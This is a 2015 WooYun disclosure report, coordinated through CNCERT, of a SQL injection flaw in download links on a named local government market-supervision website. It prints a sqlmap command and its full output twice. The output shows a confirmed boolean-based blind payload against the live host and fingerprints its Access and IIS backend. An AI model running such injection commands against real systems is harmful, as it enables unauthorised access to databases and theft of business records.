当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0130300

漏洞标题:某地市场监督管理局存在sql注入漏洞(商家信息泄漏)

相关厂商:cncert国家互联网应急中心

漏洞作者: 路人甲

提交时间:2015-07-30 19:07

修复时间:2015-09-17 15:12

公开时间:2015-09-17 15:12

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:8

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-07-30: 细节已通知厂商并且等待厂商处理中
2015-08-03: 厂商已经确认,细节仅向厂商公开
2015-08-13: 细节向核心白帽子及相关领域专家公开
2015-08-23: 细节向普通白帽子公开
2015-09-02: 细节向实习白帽子公开
2015-09-17: 细节向公众公开

简要描述:

详细说明:


某地市场监督管理局存在sql注入漏洞,暴露大量商家信息
漏洞页面:http://www.waic.gov.cn/readfile.asp?id=52 是一个下载链接来的,几乎所有的下载链接都存在,这里就不列举了,网站其他地方都过滤的蛮好的,可能是这里忽略了吧

QQ截图20150729193353.png

QQ截图20150729193344.png

QQ截图20150729193333.png

QQ截图20150729193323.png

root@kali:~# sqlmap -u "http://www.waic.gov.cn/readfile.asp?id=57" --dbms access 
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 18:58:02
[18:58:03] [INFO] testing connection to the target URL
[18:58:52] [INFO] testing if the target URL is stable. This can take a couple of seconds
[18:59:42] [INFO] target URL is stable
[18:59:42] [INFO] testing if GET parameter 'id' is dynamic
[18:59:42] [INFO] heuristics detected web page charset 'GB2312'
[18:59:42] [INFO] confirming that GET parameter 'id' is dynamic
[18:59:42] [WARNING] GET parameter 'id' does not appear dynamic
[18:59:42] [INFO] heuristic (basic) test shows that GET parameter 'id' might be injectable (possible DBMS: 'Microsoft SQL Server')
[18:59:42] [INFO] testing for SQL injection on GET parameter 'id'
[18:59:42] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[19:00:33] [INFO] GET parameter 'id' seems to be 'AND boolean-based blind - WHERE or HAVING clause' injectable
[19:00:33] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[19:00:33] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[19:01:26] [WARNING] reflective value(s) found and filtering out
[19:01:26] [INFO] ORDER BY technique seems to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test
[19:03:10] [INFO] target URL appears to have 5 columns in query
injection not exploitable with NULL values. Do you want to try with a random integer value for option '--union-char'? [Y/n] y
[19:06:38] [INFO] checking if the injection point on GET parameter 'id' is a false positive
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] y
sqlmap identified the following injection points with a total of 36 HTTP(s) requests:
---
Place: GET
Parameter: id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=57 AND 7760=7760
---
[19:09:25] [INFO] the back-end DBMS is Microsoft Access
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft Access
[19:09:25] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 26 times
[19:09:25] [INFO] fetched data logged to text files under '/usr/share/sqlmap/output/www.waic.gov.cn'
[*] shutting down at 19:09:25


怕被爆菊,点到为止

漏洞证明:

root@kali:~# sqlmap -u "http://www.waic.gov.cn/readfile.asp?id=57" --dbms access 
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 18:58:02
[18:58:03] [INFO] testing connection to the target URL
[18:58:52] [INFO] testing if the target URL is stable. This can take a couple of seconds
[18:59:42] [INFO] target URL is stable
[18:59:42] [INFO] testing if GET parameter 'id' is dynamic
[18:59:42] [INFO] heuristics detected web page charset 'GB2312'
[18:59:42] [INFO] confirming that GET parameter 'id' is dynamic
[18:59:42] [WARNING] GET parameter 'id' does not appear dynamic
[18:59:42] [INFO] heuristic (basic) test shows that GET parameter 'id' might be injectable (possible DBMS: 'Microsoft SQL Server')
[18:59:42] [INFO] testing for SQL injection on GET parameter 'id'
[18:59:42] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[19:00:33] [INFO] GET parameter 'id' seems to be 'AND boolean-based blind - WHERE or HAVING clause' injectable
[19:00:33] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[19:00:33] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[19:01:26] [WARNING] reflective value(s) found and filtering out
[19:01:26] [INFO] ORDER BY technique seems to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test
[19:03:10] [INFO] target URL appears to have 5 columns in query
injection not exploitable with NULL values. Do you want to try with a random integer value for option '--union-char'? [Y/n] y
[19:06:38] [INFO] checking if the injection point on GET parameter 'id' is a false positive
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] y
sqlmap identified the following injection points with a total of 36 HTTP(s) requests:
---
Place: GET
Parameter: id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=57 AND 7760=7760
---
[19:09:25] [INFO] the back-end DBMS is Microsoft Access
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft Access
[19:09:25] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 26 times
[19:09:25] [INFO] fetched data logged to text files under '/usr/share/sqlmap/output/www.waic.gov.cn'
[*] shutting down at 19:09:25

修复方案:

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:10

确认时间:2015-08-03 15:11

厂商回复:

CNVD确认并复现所述情况,已经转由CNCERT下发给浙江分中心,由其后续协调网站管理单位处置。

最新状态:

暂无